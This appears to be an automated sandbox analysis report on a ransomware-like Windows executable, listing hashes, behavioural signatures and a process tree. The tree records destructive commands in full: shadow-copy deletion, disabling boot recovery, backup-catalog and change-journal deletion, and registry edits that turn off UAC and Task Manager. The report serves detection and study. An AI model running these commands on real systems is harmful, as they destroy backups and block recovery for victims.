Analysis

  • max time kernel
    151s
  • max time network
    108s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    10-11-2022 07:45

General

  • Target

    abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe

  • Size

    1.1MB

  • MD5

    ad539ebdf9e34e02be487134cf9a6713

  • SHA1

    b5af8a12c5a6ed369debaad7eab59e3cb1715e2d

  • SHA256

    abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14

  • SHA512

    386291d7dd9fa62f7514e784a238bd7a5099a0d2edd8af6085c61e3953a6914faf3dc299f07d56bed3b5b337a18c8b636c84f88693d3bc2512f8dfd51e711492

  • SSDEEP

    24576:g3BzKGHF0bxTCFvXwKt/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoHWxVGI8WIQbQ:KV4xTCwu4Qc6/F87gIwQ

Score
10/10

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Enumerates connected drives 3 TTPs 7 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 10 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe
    "C:\Users\Admin\AppData\Local\Temp\abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:1888
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c @echo off
        2⤵
          PID:1884
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c chcp 437
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1484
          • C:\Windows\SysWOW64\chcp.com
            chcp 437
            3⤵
              PID:1496
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
            2⤵
              PID:848
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
              2⤵
                PID:1068
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                  3⤵
                  • Interacts with shadow copies
                  PID:2064
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                2⤵
                  PID:1136
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Delete Shadows /all /quiet
                    3⤵
                    • Interacts with shadow copies
                    PID:1496
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                  2⤵
                    PID:1196
                    • C:\Windows\system32\bcdedit.exe
                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                      3⤵
                      • Modifies boot configuration data using bcdedit
                      PID:848
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                    2⤵
                      PID:1644
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} recoveryenabled No
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2148
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                      2⤵
                        PID:964
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                          3⤵
                          • Interacts with shadow copies
                          PID:2092
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                        2⤵
                          PID:584
                          • C:\Windows\system32\fsutil.exe
                            fsutil.exe usn deletejournal /D C:
                            3⤵
                            • Deletes NTFS Change Journal
                            PID:2208
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                          2⤵
                            PID:1764
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                              3⤵
                              • Interacts with shadow copies
                              PID:2156
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                            2⤵
                              PID:1444
                              • C:\Windows\system32\wbadmin.exe
                                wbadmin.exe delete catalog -quiet
                                3⤵
                                • Deletes backup catalog
                                PID:1576
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                              2⤵
                                PID:320
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                                  3⤵
                                  • Interacts with shadow copies
                                  PID:2016
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                2⤵
                                  PID:912
                                  • C:\Windows\system32\vssadmin.exe
                                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                    3⤵
                                    • Enumerates connected drives
                                    • Interacts with shadow copies
                                    PID:1792
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                  2⤵
                                    PID:1548
                                    • C:\Windows\system32\vssadmin.exe
                                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      3⤵
                                      • Interacts with shadow copies
                                      PID:1732
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                    2⤵
                                      PID:1456
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                        3⤵
                                          PID:1756
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                        2⤵
                                          PID:680
                                          • C:\Windows\system32\vssadmin.exe
                                            vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                            3⤵
                                            • Interacts with shadow copies
                                            PID:2136
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                          2⤵
                                            PID:1092
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:1564
                                              • C:\Windows\system32\reg.exe
                                                reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:2252
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                                2⤵
                                                  PID:776
                                                  • C:\Windows\system32\vssadmin.exe
                                                    vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                                    3⤵
                                                    • Interacts with shadow copies
                                                    PID:1004
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                                  2⤵
                                                    PID:1580
                                                    • C:\Windows\system32\vssadmin.exe
                                                      vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                                      3⤵
                                                      • Interacts with shadow copies
                                                      PID:2184
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:1448
                                                      • C:\Windows\system32\reg.exe
                                                        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:2128
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                                        2⤵
                                                          PID:940
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1220
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:436
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:624
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:2220
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                                                  2⤵
                                                                    PID:1716
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:1676
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
                                                                      2⤵
                                                                        PID:2104

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v6

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    • memory/1280-54-0x0000000075811000-0x0000000075813000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1576-86-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

                                                                      Filesize

                                                                      8KB